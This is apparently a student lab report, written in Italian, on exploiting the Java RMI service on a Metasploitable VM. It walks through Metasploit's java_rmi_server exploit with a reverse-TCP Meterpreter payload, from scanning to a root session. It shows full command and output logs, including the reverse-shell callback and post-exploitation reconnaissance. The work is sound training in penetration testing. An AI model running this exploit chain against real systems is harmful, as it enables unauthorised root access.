Progetto week 3 unit 2

OBIETTIVO: Sfruttare il servizio vulnerabile sulla porta 1099 – Java RMI usando Metasploit al fine di ottenere una sessione di Meterpeter sulla macchina remota.

Che cos'è Java RMI? È una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità che sfrutteremo è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina vittima.

Come primo passo uso il tool nmap per confermare che a conti fatti la porta 1099 sia aperta e accessibile, come si può vedere in figura.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p1099 192.168.99.112
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 09:20 EDT
Nmap scan report for 192.168.99.112
Host is up (0.00034s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
```

In secondo luogo apro Metasploit tramite il comando "msfconsole" e cerco tramite il comando "search java_rmi" tutti gli exploits che trattano del servizio a cui siamo interessati e scelgo come idiale quello presente alla riga 1.

```
msf6 > search java_rmi

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                                     normal     No     Java RMI Registry In
terfaces Enumeration
   1  exploit/multi/misc/java_rmi_server                    2011-10-15       excellent  Yes    Java RMI Server Inse
cure Default Configuration Java Code Execution
   2  auxiliary/scanner/misc/java_rmi_server                2011-10-15       normal     No     Java RMI Server Inse
cure Endpoint Code Execution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl        2010-03-31       excellent  No     Java RMIConnectionIm
pl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_conn
ection_impl
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.99.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-met
                                         asploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an
                                         address on the local machine or 0.0.0.0 to listen on all addresses
                                         .
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.99.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.99.111:4444
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8080/rnu0oXJlVIpC
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header ...
[*] 192.168.99.112:1099 - Sending RMI Call ...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.99.112
[*] Meterpreter session 1 opened (192.168.99.111:4444 → 192.168.99.112:54664) at 2023-06-16 09:37:49 -0400

meterpreter >
```

Una volta caricato l'exploit tramite il comando "use <module directory>" mi viene detto che è caricato gia di default il meterpeter payload "java/meterpeter/reverse_tcp" perciò controllando le opzioni dell'exploit l'unica come che ci rimane da fare è usare il comando "set" per configurare il RHOSTS che deve coincidere con l'indirizzo IP della macchina target (192.168.99.112).

Non ci rimane che usare il comando "exploit" per avviare il modulo di Metasploit che crea una connessione in locale con il server RMI e riesce con successo a instaurare una sessione di Meterpeter.

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe26:6530
IPv6 Netmask : ::
```

Ora non ci basterà che usare i comandi “ifconfig” e “route” per rispettivamente raccogliere informazioni riguardo la configurazione di rete della macchina e le sue informazioni sulla tabella di routing.

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.99.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                   Netmask  Gateway  Metric  Interface
    ------                   -------  -------  ------  ---------
    ::1                      ::       ::
    fe80::a00:27ff:fe26:6530 ::       ::
```

```
meterpreter > sysinfo
Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux
```

In più scrivendo il comando “sysinfo” possiamo trovare informazioni più dettagliate sulla macchina in sé e il sistema operativo che usa.

```
meterpreter > getuid
Server username: root
```

Con il comando “getuid” possiamo confermare che siamo entrati come root nel sistema.